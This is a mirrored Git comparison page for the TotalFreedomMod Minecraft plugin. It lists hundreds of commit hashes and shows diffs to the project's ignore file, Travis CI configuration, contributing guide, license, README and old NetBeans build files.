mirror of
https://github.com/AtlasMediaGroup/TotalFreedomMod.git
synced 2025-07-01 04:26:42 +00:00
Compare commits
622 Commits
v2.22
...
V5.1-alpha
Author | SHA1 | Date | |
---|---|---|---|
3c09bc7995 | |||
13dc0a25be | |||
299e0ccd4a | |||
4f6d32330b | |||
089fc0670d | |||
b55ca70056 | |||
3bc8adfb98 | |||
3668c5e9d6 | |||
1971910178 | |||
655d7471dc | |||
2c5ac7297d | |||
e16714ea6c | |||
c4ebbb74c7 | |||
8c424a45f9 | |||
98f0fdb620 | |||
26c83ff585 | |||
f97de65787 | |||
30a6b7a442 | |||
5d7aa8913b | |||
f25207104c | |||
c6a2496d72 | |||
baf73df4f9 | |||
5ffbc9e8a4 | |||
7245de1513 | |||
d2503da298 | |||
c8fb54182e | |||
f3130f5cfc | |||
6e6842dbd2 | |||
28142a6883 | |||
0bb5265b77 | |||
60b143e248 | |||
aaeee0d36e | |||
7b183612e4 | |||
0eb0c7a02f | |||
475b299e37 | |||
be8203a832 | |||
9fa4c0662c | |||
c10b08df27 | |||
25fafa7a6c | |||
2ff66ad54b | |||
1e47d29adf | |||
2008871658 | |||
cadf4e4fc7 | |||
662cef44d5 | |||
c885bbb144 | |||
f2260d56a4 | |||
174a782759 | |||
6a86f66cf6 | |||
b153debdef | |||
71c46b5431 | |||
580e88d1a9 | |||
92a7e354ba | |||
6a004a9f35 | |||
91506480b7 | |||
e8e0e9988a | |||
1a16f06ac6 | |||
aca3398d21 | |||
924f718d5a | |||
6edb6be7d9 | |||
055973aa37 | |||
19ced05110 | |||
e93ac11172 | |||
7328d20c84 | |||
4586b7519f | |||
a0058869c9 | |||
89a317b7df | |||
0c3bc40b03 | |||
848f103afa | |||
a7a2db15d6 | |||
6aeb56de07 | |||
400038265b | |||
3b87323c41 | |||
cdf2dc6760 | |||
bf1d779b95 | |||
27004da544 | |||
c0c4c25875 | |||
adbaf9341d | |||
b5c5e60c12 | |||
1ed1b352f3 | |||
53c898fd76 | |||
acc8f3e2b8 | |||
157eeef867 | |||
21c0833f14 | |||
c002fbc537 | |||
a4d8f4646e | |||
f2dc46d4ef | |||
901a327b1e | |||
580ba0a357 | |||
abf52870dd | |||
d48bfde128 | |||
7ac7b75ae6 | |||
b66614cad9 | |||
ff70f13e05 | |||
ea110c01dd | |||
632f3647a8 | |||
80287433eb | |||
b18aeb2d38 | |||
68f972c562 | |||
994056047a | |||
f115315341 | |||
57e5395143 | |||
17f3a4ca3d | |||
e2d0e9e754 | |||
b167540ad7 | |||
0d1ce072dc | |||
887a5c6b16 | |||
ea6bfa8387 | |||
42266c37ea | |||
2dd8e00201 | |||
46cd88a18a | |||
2ff0f6f5d6 | |||
9ff6325469 | |||
ea404985fd | |||
8fc25111e2 | |||
4fce1109a1 | |||
916fd75003 | |||
aa35aae58f | |||
6849fb2784 | |||
313577d083 | |||
53efcfd06b | |||
edaaeef65f | |||
d6eb5bdcda | |||
7d675923db | |||
87fd8a165c | |||
1205252450 | |||
1ed45b1a20 | |||
822f55d9f2 | |||
aacf37aa56 | |||
a15e39d7dd | |||
72fa8532d3 | |||
f4aa0c324c | |||
73ee1f3624 | |||
4ca3593653 | |||
af52dec24a | |||
34ebb3586c | |||
eee8682959 | |||
af1dd2e9ff | |||
ade60ad611 | |||
e699ad1663 | |||
e2308ee904 | |||
d14a595ac4 | |||
5190af0a6b | |||
a11b87ec83 | |||
c7a0604afc | |||
9970277134 | |||
49f6879ccb | |||
794b76321a | |||
e5b4ae0e3e | |||
310ce4f75a | |||
cf072dc0d5 | |||
7fe0b562ee | |||
6f6fdb28bf | |||
524d4da9d8 | |||
0aa0bae0ad | |||
fcf52ba02a | |||
8a92ff132b | |||
99043a7c49 | |||
2a71be4050 | |||
b43ef812a2 | |||
7981adaf85 | |||
1bc22a817a | |||
57a6b35457 | |||
8b45482d0a | |||
af64a77268 | |||
5c50069f21 | |||
3c329667a4 | |||
1565c9643d | |||
84ef49bf65 | |||
878075c898 | |||
c74763c96a | |||
d01f9d0b2f | |||
e780c4ffec | |||
3968dbe0a2 | |||
ff9164714c | |||
72e105eb34 | |||
f4440fd262 | |||
587b84a489 | |||
107952f0ba | |||
8cae042857 | |||
d1b73592af | |||
b7175d73ab | |||
9c976b381b | |||
0c99862793 | |||
0240b65fad | |||
b6d3e5baca | |||
15650b84cf | |||
9233bcfedc | |||
b0aa4a850d | |||
af97481d11 | |||
3c6e706c98 | |||
aca62caec1 | |||
eaa23985bd | |||
e3f9452b9f | |||
755080d0a4 | |||
0f764b976b | |||
d0a435a5d6 | |||
b02764ddca | |||
b3c28d33f2 | |||
6ad1187eef | |||
1bf1267b49 | |||
d2f6f7f51a | |||
dc2c996516 | |||
f502e44764 | |||
c490a3d62e | |||
9a2dc52e87 | |||
a1c11f4e0f | |||
48fd4c590d | |||
97cde0cfd4 | |||
429269d8d2 | |||
1a50c16d9a | |||
891d8d178f | |||
fc1c487dce | |||
e2cc14370a | |||
d5d6f18fb4 | |||
00e22dc56e | |||
40b475ea0c | |||
65eabbdba4 | |||
cb4a47d812 | |||
ecbd70493b | |||
4988140268 | |||
57b0aadb9b | |||
ef9ce2a9a7 | |||
2c92b0874e | |||
927560ad75 | |||
c8dbc8a623 | |||
11eef83a65 | |||
a2439a7093 | |||
d8697590a7 | |||
6d98604cf0 | |||
3d6be1cd51 | |||
01edfed307 | |||
5e4d1d0d6d | |||
86f61f1487 | |||
461cfa7bdc | |||
75b296496e | |||
183277db21 | |||
2b597867f0 | |||
7f7312c0a2 | |||
73214165a5 | |||
54be4f7e88 | |||
3ccab5f534 | |||
f635af5f95 | |||
cc3a183cac | |||
173b686658 | |||
a0d5743232 | |||
7598d211cd | |||
6b064d0e68 | |||
8fc0673bb2 | |||
aa062a9d11 | |||
8b4b2f97e0 | |||
c4f1d0c06f | |||
20d4e886fc | |||
e36ace1671 | |||
2f055fbecb | |||
d193686c79 | |||
ba2ada569f | |||
850fd9aa4a | |||
1fb14ca1dd | |||
499472a126 | |||
28459e4702 | |||
57dda8367c | |||
cdf03b4353 | |||
5ec66e8c7e | |||
f57aeb8fb0 | |||
adb3834836 | |||
d82d6fd704 | |||
ec0683f610 | |||
2d118a44a9 | |||
64cd7f7393 | |||
9a1fc8ea36 | |||
75247af337 | |||
d20b062b70 | |||
4b36574255 | |||
bba42797d8 | |||
365e38e63a | |||
5a3106ace8 | |||
8cb4ef111c | |||
50d6cf471c | |||
e942f0bf75 | |||
f8231aeb3f | |||
eddbcf515c | |||
00ac914066 | |||
179fe9d665 | |||
67c86aea24 | |||
e4bb1ef6aa | |||
16b02e3dec | |||
70e248202b | |||
51ef752259 | |||
b3e40462e2 | |||
73a91c02c6 | |||
7b8ba0bdf5 | |||
bd9d6114ba | |||
0435174342 | |||
796ef3d359 | |||
a3f3903760 | |||
5c99aa9a44 | |||
8292eb20ae | |||
d9e0791a3b | |||
dbfec1e86d | |||
31e03d6348 | |||
46494a2c87 | |||
b11eb0f762 | |||
730b0e2c83 | |||
60a9de7e7c | |||
8a4fa946fd | |||
9bc0859fdf | |||
742450d016 | |||
ad06bea3ae | |||
68d83fa397 | |||
fe84c3a2a0 | |||
6e5e70ac90 | |||
489549a0ea | |||
56b55eb3e2 | |||
4ef5f59fb9 | |||
d31ad2e9fc | |||
8a9dfca6d3 | |||
55ddf5a30a | |||
59e890c654 | |||
b0e62add9f | |||
7cdf1abcf2 | |||
ee0ebd85fc | |||
518537413b | |||
802d02d653 | |||
f3cb57c9cd | |||
c7c2795f41 | |||
20b117a703 | |||
8522570db5 | |||
08e4a4a171 | |||
a0affddeed | |||
c82113dc22 | |||
9315227906 | |||
00e9b4ea1f | |||
22b0781020 | |||
7df24c6b86 | |||
0e9044ffc3 | |||
3371f54c06 | |||
5e4649a4d0 | |||
d8560ebc1f | |||
7f2e72ee51 | |||
c98909df12 | |||
d613e0266b | |||
92d7c58957 | |||
478244773b | |||
5237fa0ca2 | |||
b3b182e753 | |||
a54c113a86 | |||
ec8a528564 | |||
6365672eda | |||
d087dc1148 | |||
a3a484dc58 | |||
b89ccb2d55 | |||
9b66304f63 | |||
4784348027 | |||
2705bb4534 | |||
0f6f21e4c6 | |||
527ac6c286 | |||
192b9ea9d9 | |||
fa1a082972 | |||
cf135e211d | |||
56a5a7304a | |||
4b671cc4c7 | |||
10443ff0d5 | |||
5f1f9184ae | |||
a1bb6a34a0 | |||
dfd5f2dba0 | |||
988e62213e | |||
49601035a5 | |||
d05f8b7169 | |||
fbca5f0527 | |||
1c14889bdf | |||
114372194a | |||
49b841acc2 | |||
302b538a3a | |||
539f28549a | |||
716ba57739 | |||
0d32ca5451 | |||
b8b8ed8608 | |||
ca5b79331b | |||
78c1a2eaaf | |||
be4ec7fc04 | |||
794ad2e57a | |||
d2a5c399f0 | |||
67d8bfce09 | |||
90aa3ab420 | |||
a395904c43 | |||
42812be4c5 | |||
049432789f | |||
8b2532e9e9 | |||
e5902fc5e8 | |||
71862d6e41 | |||
7dffea0ba2 | |||
67c09546f7 | |||
8b51fd215f | |||
275204fb2e | |||
1330d2b3af | |||
4204210f66 | |||
8297d03a86 | |||
75353ae4b1 | |||
a28959db0e | |||
b2e27ec8bf | |||
c42bc23bfe | |||
e29d4673dd | |||
2ce7e518fb | |||
9ba316464e | |||
60f71c9dfc | |||
3e71286507 | |||
6d48c90d16 | |||
d7ed667b89 | |||
9c61cc2768 | |||
4daad76e74 | |||
05884ae806 | |||
aa0fd34859 | |||
2c14773c9b | |||
695168ebfe | |||
bbc1255963 | |||
34d15d4c96 | |||
75bc17cd8f | |||
87f338194c | |||
b5760afbad | |||
5cfaf8970d | |||
9a48ec04aa | |||
24fca9af97 | |||
a9ef738602 | |||
27a04635a2 | |||
0f58746525 | |||
a8d4b5f582 | |||
d7f1de4cb7 | |||
ddbb6228f1 | |||
d4c3a4ad45 | |||
7140e4c8df | |||
808e02f660 | |||
bed78248fb | |||
ee39e89093 | |||
9405604efc | |||
73acb2448b | |||
c63540129f | |||
6ba96b427d | |||
acd8373f81 | |||
0c4c36b2bd | |||
7ce052900e | |||
f8741b0d4f | |||
6fca19fa41 | |||
7e75287e61 | |||
52641466ff | |||
67f096fbfa | |||
8f24e44c79 | |||
28b9f3089d | |||
6b906864b3 | |||
c2aba0e798 | |||
c78e6483ac | |||
1ef6fcbb70 | |||
ce5d23a5bc | |||
280ddf61f7 | |||
a821f7b606 | |||
1a5f854552 | |||
a38f7b3469 | |||
13eeccbc40 | |||
2b611a2bee | |||
ed0aef033c | |||
2d655e4009 | |||
81995f38a1 | |||
9f889efa76 | |||
1e79b90249 | |||
70a24486b8 | |||
d863a9e274 | |||
902fc0ba11 | |||
415d25da4b | |||
3583c1dbdc | |||
f49c4568b2 | |||
01807d1f0f | |||
c5ddc60b97 | |||
97b27cd7b4 | |||
faeaa3aab7 | |||
e10ab45bda | |||
7b59350833 | |||
adbc658cc7 | |||
927e46a431 | |||
65ba053aee | |||
81ee5f04dd | |||
ded31e4640 | |||
1416429910 | |||
8cdff6a3c1 | |||
8ba477140b | |||
5606fdae1f | |||
4bcd0eb61f | |||
18e4943216 | |||
549c5231e8 | |||
7144894848 | |||
fef5f7604b | |||
2d421178db | |||
650bd11ab0 | |||
05ad222148 | |||
4cde6a53ba | |||
18ed009ddd | |||
b7efe3983d | |||
eb01c0db86 | |||
562e354f37 | |||
b845ff3f7e | |||
3c9245bfaf | |||
4bef1a06a4 | |||
e70f8ffff3 | |||
896af4198a | |||
d1ffbe0412 | |||
8f70fa2c82 | |||
a89948f76d | |||
41cca7cd6a | |||
0067e2cc65 | |||
2168aa957a | |||
3babf8388c | |||
0b0e17e526 | |||
5247a33f88 | |||
3f2aa224f6 | |||
bc00e42990 | |||
88103cefc2 | |||
3819c57adf | |||
c3f8bd33ff | |||
baf7a3b2c1 | |||
74bfdad389 | |||
08a9329864 | |||
be87075337 | |||
ada803cd7d | |||
0b146943ff | |||
0f31ea2953 | |||
3ca46853ac | |||
ee6b93e208 | |||
3e5e11197f | |||
6035f9e50b | |||
f45cc11846 | |||
b28a0778b4 | |||
174043fa58 | |||
dfb6df63c8 | |||
7a6cc55640 | |||
5c61ff27b0 | |||
3da03393e6 | |||
5876f86ac3 | |||
fbdf2b5fc2 | |||
fd6aa7b94b | |||
5981f7f33f | |||
55d94b5d59 | |||
d71b043102 | |||
143b323854 | |||
1f32455e06 | |||
8718b3a8c2 | |||
f5e21f69fd | |||
bf7877addc | |||
6d0b8362b7 | |||
10f905ea36 | |||
dcb6a4513e | |||
ff4751941b | |||
e64fd42855 | |||
467d1d2d3a | |||
6ba8dcaa58 | |||
a3cf53f5b1 | |||
23907ef7e4 | |||
485945047b | |||
75ec2330f5 | |||
5c32c66390 | |||
4494a4c039 | |||
f53b67abf1 | |||
2827ca98a7 | |||
64b1e568b3 | |||
3e57696a21 | |||
fd1bd995ed | |||
9fe05add7f | |||
25fbb0c05a | |||
f646a5122a | |||
af4071c582 | |||
86ee0e96d2 | |||
57efdd2269 | |||
26bcd3ec1c | |||
fd372066eb | |||
122bef2d5a | |||
339518f4f4 | |||
8ce0defb52 | |||
ec6e8431e3 | |||
0964871e8b | |||
422a7716f3 | |||
f1ab8296e4 | |||
f9cbf11abb | |||
b0090a5412 | |||
b94efb525f | |||
5c8f98089e | |||
7879fa24e4 | |||
6fcaed6253 | |||
656dbf8867 | |||
23032e6f9a | |||
ad5a236bc2 | |||
e23db244a5 | |||
eb4622fc28 | |||
0f6b053727 | |||
259335958a | |||
31375b82c3 | |||
0a2d5c8258 | |||
bac25258b0 | |||
c69918d725 | |||
c1d0c01524 | |||
a59e6added | |||
56493adcae | |||
4b91de7414 | |||
c636ee043a | |||
6a5306dd7a | |||
4603dc5613 | |||
af7e6c5d41 | |||
699d366efb | |||
41ed416a51 | |||
074630f720 | |||
4e3c9a6b9e | |||
bea480c1f1 | |||
69fd3566af | |||
f3ac19a616 | |||
696ec119c6 | |||
326c3f6a2b | |||
38b1035020 | |||
1ae6eb8a5a | |||
2c4eca8551 | |||
f23c61d0b3 | |||
c10e0deb8b | |||
d4dfe06ec0 | |||
bcd9658b3d | |||
9b62731e94 | |||
03553b6254 | |||
5b34facdd3 |
31
.gitignore
vendored
31
.gitignore
vendored
@ -1,14 +1,29 @@
|
|||||||
# Netbeans excludes - StevenLawson & JeromSar
|
# TFM excludes
|
||||||
/nbproject/private/
|
/lib
|
||||||
/dist/
|
build.properties
|
||||||
/build/
|
|
||||||
manifest.mf
|
|
||||||
|
|
||||||
# Eclipse excludes - JeromSar (old)
|
# Netbeans excludes
|
||||||
|
/nbproject/private
|
||||||
|
/dist
|
||||||
|
/build
|
||||||
|
manifest.mf
|
||||||
|
# Now defines that Maven CheckStyle is used
|
||||||
|
# nb-configuration.xml
|
||||||
|
|
||||||
|
# Eclipse excludes
|
||||||
.project
|
.project
|
||||||
.classpath
|
.classpath
|
||||||
/bin/
|
/bin
|
||||||
/.settings/
|
/.settings
|
||||||
|
|
||||||
|
# IntelliJ excludes
|
||||||
|
*.iml
|
||||||
|
*.ipr
|
||||||
|
*.iws
|
||||||
|
/.idea
|
||||||
|
|
||||||
|
# Maven excludes
|
||||||
|
/target
|
||||||
|
|
||||||
# OS generated files
|
# OS generated files
|
||||||
.DS_Store
|
.DS_Store
|
||||||
|
12
.travis.yml
Normal file
12
.travis.yml
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
language: java
|
||||||
|
jdk:
|
||||||
|
- oraclejdk8
|
||||||
|
notifications:
|
||||||
|
email: false
|
||||||
|
addons:
|
||||||
|
apt:
|
||||||
|
packages:
|
||||||
|
- sshpass
|
||||||
|
script: mvn clean install
|
||||||
|
after_success:
|
||||||
|
- ./travis-upload.sh
|
@ -1,52 +1,3 @@
|
|||||||
# Contributing to TotalFreedomMod #
|
# Contributing to TotalFreedomMod #
|
||||||
TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](http://totalfreedom.me/). However, it can be used in a variety of other configurations with minimal fuss.
|
|
||||||
|
|
||||||
For those who wish to contribute, we encourage you to fork the repository and submit pull requests. Below you will find guidelines that will explain this process in further detail.
|
For information about contributing to TotalFreedomMod, please see the [contributing guidelines](https://github.com/TotalFreedom/TotalFreedomMod/wiki/Contributing).
|
||||||
|
|
||||||
## Getting Started ##
|
|
||||||
* Make sure you have a [GitHub account](https://github.com/signup/free)
|
|
||||||
* If the issue is a bug, submit a ticket for it, assuming one does not already exist.
|
|
||||||
* Clearly describe the issue including steps to reproduce it.
|
|
||||||
* Make sure you fill in the earliest version that you know has the issue.
|
|
||||||
* Fork the repository on GitHub
|
|
||||||
|
|
||||||
## Making Changes ##
|
|
||||||
* Create a topic branch from where you want to base your work.
|
|
||||||
* This is usually the master branch.
|
|
||||||
* Only target release branches if you are certain your addition must be on that branch.
|
|
||||||
* To quickly create a topic branch based on master; `git checkout -b contribution` - Please avoid working directly on the `master` branch.
|
|
||||||
* Make changes and commit where necessary.
|
|
||||||
* Check for unnecessary whitespace with `git diff --check` before committing.
|
|
||||||
* Make sure your commit messages are in line with those which are already made.
|
|
||||||
* Make sure your changes build (<b>and work!</b>).
|
|
||||||
|
|
||||||
## Tips - How To Get Your Pull Request Accepted ##
|
|
||||||
* Make sure your changes work and compile without difficulty.
|
|
||||||
* Make sure your change adds something useful, do not add commands to micromanage the server. (ie: Shorthands for a collection of commands)
|
|
||||||
* __Commands that make use of `org.bukkit.Server.dispatchCommand()` will probably be rejected.__
|
|
||||||
* Features must be in line the general idea of "Total Freedom".
|
|
||||||
* Changes must be directed towards the main "TotalFreedom" server. Adding names such as the name of your own TotalFreedom-like server will get your pull request denied.
|
|
||||||
* Do not add yourself to the developer list.
|
|
||||||
* Ensure that you use the correct whitespace-style. That is: 4 spaces as indentation.
|
|
||||||
* Please make sure your changes are written such as other features would be. Eg: commands have their own class and extend TFM_Command.
|
|
||||||
* __Make sure your code is written in the [Allman style](http://en.wikipedia.org/wiki/Indent_style#Allman_style).__
|
|
||||||
* Do not increment the version number.
|
|
||||||
* If you want to add multiple changes, please make one pull request per change. This way, it's easier to accept your changes faster and won't block the other changes if there is an issue with a specific line of code.
|
|
||||||
* Please make sure there are no bugs in your code.
|
|
||||||
* Please avoid having to add files in the main namespace where possible.
|
|
||||||
* Make sure all changes work before you commit these, this avoids having multiple unnecessary commits.
|
|
||||||
* Please refrain from using an excessive amount of commits. As few as possible is generally the best.
|
|
||||||
* Please do not spread your addition over several pull-requests.
|
|
||||||
|
|
||||||
## Submitting Your Changes ##
|
|
||||||
* Push your changes to a topic branch in your fork of the repository.
|
|
||||||
* Submit a pull request to this repository.
|
|
||||||
* Explain in detail what each one of your commits changes and point out any big changes.
|
|
||||||
* Wait as a developer evaluates your changes.
|
|
||||||
|
|
||||||
## Additional Resources ##
|
|
||||||
* [TotalFreedom information](http://totalfreedom.me)
|
|
||||||
* [TotalFreedom forums](http://totalfreedom.boards.net)
|
|
||||||
* [Bug tracker](https://github.com/TotalFreedom/TotalFreedomMod/issues)
|
|
||||||
* [General GitHub documentation](http://help.github.com/)
|
|
||||||
* [GitHub pull request documentation](http://help.github.com/send-pull-requests/)
|
|
63
LICENSE.md
63
LICENSE.md
@ -1,11 +1,54 @@
|
|||||||
# TotalFreedomMod License #
|
# TotalFreedom General License #
|
||||||
TotalFreedomMod is primarily derived from the Bukkit and CraftBukkit library and server, respectively. Therefore, we have chosen for it to inherit the GNU GPLv3 License as used by those programs. This license is available at http://www.gnu.org/licenses/gpl-3.0.txt
|
_Version 2.0, 27th February 2015_
|
||||||
|
|
||||||
We do, however, ask that you comply by several restrictions. These restrictions are in place to make sure that credit is given to the original authors, who remain the maintainers of the plugin and its source code.
|
Copyright (c) 2011 Steven Lawson
|
||||||
* A un-edited copy of this LICENSE.md shall always be included with this source code.
|
|
||||||
* TotalFreedomMod source code and its derivations shall be freely distributable between anyone who chooses to download it.
|
Copyright (c) 2012 Jerom van der Sar
|
||||||
* You shall not remove the keywords "Madgeek1450", "StevenLawson", "DarthSalamon" or "JeromSar" from any part of the source code.
|
|
||||||
* Compiled binaries (*.jar's) shall not to be distributed.
|
All rights reserved.
|
||||||
* If you wish to obtain a copy of TotalFreedomMod you must compile the original source code or it's derivations yourself.
|
|
||||||
* The primary developers, StevenLawson (Madgeek1450) and Jerom van der Sar (DarthSalamon), may choose to provide official binaries on a discretionary basis.
|
##### 1. Definitions #####
|
||||||
* Any restrictions listed here may be waived by any of the above mentioned primary developers.
|
"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by this document.
|
||||||
|
|
||||||
|
"Licensor" shall mean the copyright holder or entity authorised by the copyright owner that is granting the License.
|
||||||
|
|
||||||
|
"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
|
||||||
|
|
||||||
|
"You", "Your" or "Yourself" shall mean an individual or Legal Entity exercising permissions granted by this License.
|
||||||
|
|
||||||
|
"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
|
||||||
|
|
||||||
|
"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, binary data, generated documentation, and conversions to other media types.
|
||||||
|
|
||||||
|
"Work" and "This Software" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work.
|
||||||
|
|
||||||
|
"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
|
||||||
|
|
||||||
|
"Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution."
|
||||||
|
|
||||||
|
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
|
||||||
|
|
||||||
|
"Redistribution" shall mean any partial or complete availability, transfer or publication of the Work from one Legal Entity to another.
|
||||||
|
|
||||||
|
##### 2. Grant of Copyright License #####
|
||||||
|
Subject to the terms and conditions of this License, You are granted a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to prepare Derivative Works of, publicly display, publicly perform, inspect and redistribute the Work and such Derivative Works as long as the following conditions are met:
|
||||||
|
|
||||||
|
1. Redistributions of This Software must solely occur in Source form. Redistribution in Object form is prohibited without prior written permission from the Licensor.
|
||||||
|
|
||||||
|
2. Neither the names of the copyright holders nor the names this software's contributors may be removed from This Software's source code.
|
||||||
|
|
||||||
|
3. Neither the names of the copyright holders nor the names of its contributors may be used to endorse or promote products derived from This Software without specific prior written permission.
|
||||||
|
|
||||||
|
4. Accreditations referencing This Software's copyright holders or contributors may neither be altered or removed from source code nor withheld from reproduction in Object form whatsoever.
|
||||||
|
|
||||||
|
5. Any conditions specified by this license may be temporarily or permanently waived by any the aforementioned copyright holders.
|
||||||
|
|
||||||
|
6. Redistributions of This Software must retain this License document in its exact form.
|
||||||
|
|
||||||
|
7. Sub licensing of This Software is prohibited without prior written permission from the Licensor.
|
||||||
|
|
||||||
|
##### 3. Submission of Contributions #####
|
||||||
|
Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
|
||||||
|
|
||||||
|
##### 4. Disclaimer of Warranty #####
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
17
README.md
17
README.md
@ -1,7 +1,20 @@
|
|||||||
# TotalFreedomMod #
|
# TotalFreedomMod #
|
||||||
|
|
||||||
|
|
||||||
|
[](https://travis-ci.org/TotalFreedom/TotalFreedomMod)
|
||||||
|
|
||||||
TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](http://totalfreedom.me/). However, you are more than welcome to adapt the source for your own server.
|
TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](http://totalfreedom.me/). However, you are more than welcome to adapt the source for your own server.
|
||||||
|
|
||||||
This plugin was originally coded by StevenLawson (Madgeek1450), with Jerom van der Sar (DarthSalamon) becoming heavily involved in its development some time later. It consists of over 85 custom coded commands and a large variety of distinguishable features not included in any other plugin. The plugin has since its beginning grown immensely. Together, with the main TotalFreedom server, TotalFreedomMod has a long-standing reputation of effectiveness whilst maintaining a clear feeling of openness towards the administrators and the players themselves.
|
This plugin was originally coded by StevenLawson (Madgeek1450), with Jerom van der Sar (Prozza) becoming heavily involved in its development some time later. It consists of over 85 custom coded commands and a large variety of distinguishable features not included in any other plugin. The plugin has since its beginning grown immensely. Together, with the main TotalFreedom server, TotalFreedomMod has a long-standing reputation of effectiveness whilst maintaining a clear feeling of openness towards the administrators and the players themselves.
|
||||||
|
|
||||||
Please see [CONTRIBUTING.md](CONTRIBUTING.md) if you are interested in developing TotalFreedomMod. For information on how TotalFreedomMod is licensed, please see [LICENSE.md](LICENSE.md).
|
### Download ###
|
||||||
|
You may download official binaries from the [releases page](https://github.com/TotalFreedom/TotalFreedomMod/releases).
|
||||||
|
|
||||||
|
Additionally, Travis CI generates a binary for each commit to the repository. While they might not be stable or 100% functional, these binaries are accessible at [tfmbuilds.win](https://tfmbuilds.win/).
|
||||||
|
|
||||||
|
### Contributing ###
|
||||||
|
Please see [CONTRIBUTING.md](CONTRIBUTING.md) if you are interested in developing TotalFreedomMod.
|
||||||
|
|
||||||
|
For information on how TotalFreedomMod is licensed, please see [LICENSE.md](LICENSE.md).
|
||||||
|
|
||||||
|
Please [join our Discord server](https://discord.gg/fb9J2TD) for any discussion on TFM development and other TotalFreedom Organization projects.
|
||||||
|
@ -1,6 +0,0 @@
|
|||||||
#Fri, 09 Aug 2013 15:38:23 +0200
|
|
||||||
|
|
||||||
program.VERSION=2.22
|
|
||||||
program.BUILDNUM=378
|
|
||||||
program.BUILDDATE=08/09/2013 03\:38 PM
|
|
||||||
|
|
83
build.xml
83
build.xml
@ -1,83 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<!-- You may freely edit this file. See commented blocks below for -->
|
|
||||||
<!-- some examples of how to customize the build. -->
|
|
||||||
<!-- (If you delete it and reopen the project it will be recreated.) -->
|
|
||||||
<!-- By default, only the Clean and Build commands use this build script. -->
|
|
||||||
<!-- Commands such as Run, Debug, and Test only use this build script if -->
|
|
||||||
<!-- the Compile on Save feature is turned off for the project. -->
|
|
||||||
<!-- You can turn off the Compile on Save (or Deploy on Save) setting -->
|
|
||||||
<!-- in the project's Project Properties dialog box.-->
|
|
||||||
<project name="TotalFreedomMod" default="default" basedir=".">
|
|
||||||
<description>Builds, tests, and runs the project TotalFreedomMod.</description>
|
|
||||||
<import file="nbproject/build-impl.xml"/>
|
|
||||||
<!--
|
|
||||||
|
|
||||||
There exist several targets which are by default empty and which can be
|
|
||||||
used for execution of your tasks. These targets are usually executed
|
|
||||||
before and after some main targets. They are:
|
|
||||||
|
|
||||||
-pre-init: called before initialization of project properties
|
|
||||||
-post-init: called after initialization of project properties
|
|
||||||
-pre-compile: called before javac compilation
|
|
||||||
-post-compile: called after javac compilation
|
|
||||||
-pre-compile-single: called before javac compilation of single file
|
|
||||||
-post-compile-single: called after javac compilation of single file
|
|
||||||
-pre-compile-test: called before javac compilation of JUnit tests
|
|
||||||
-post-compile-test: called after javac compilation of JUnit tests
|
|
||||||
-pre-compile-test-single: called before javac compilation of single JUnit test
|
|
||||||
-post-compile-test-single: called after javac compilation of single JUunit test
|
|
||||||
-pre-jar: called before JAR building
|
|
||||||
-post-jar: called after JAR building
|
|
||||||
-post-clean: called after cleaning build products
|
|
||||||
|
|
||||||
(Targets beginning with '-' are not intended to be called on their own.)
|
|
||||||
|
|
||||||
Example of inserting an obfuscator after compilation could look like this:
|
|
||||||
|
|
||||||
<target name="-post-compile">
|
|
||||||
<obfuscate>
|
|
||||||
<fileset dir="${build.classes.dir}"/>
|
|
||||||
</obfuscate>
|
|
||||||
</target>
|
|
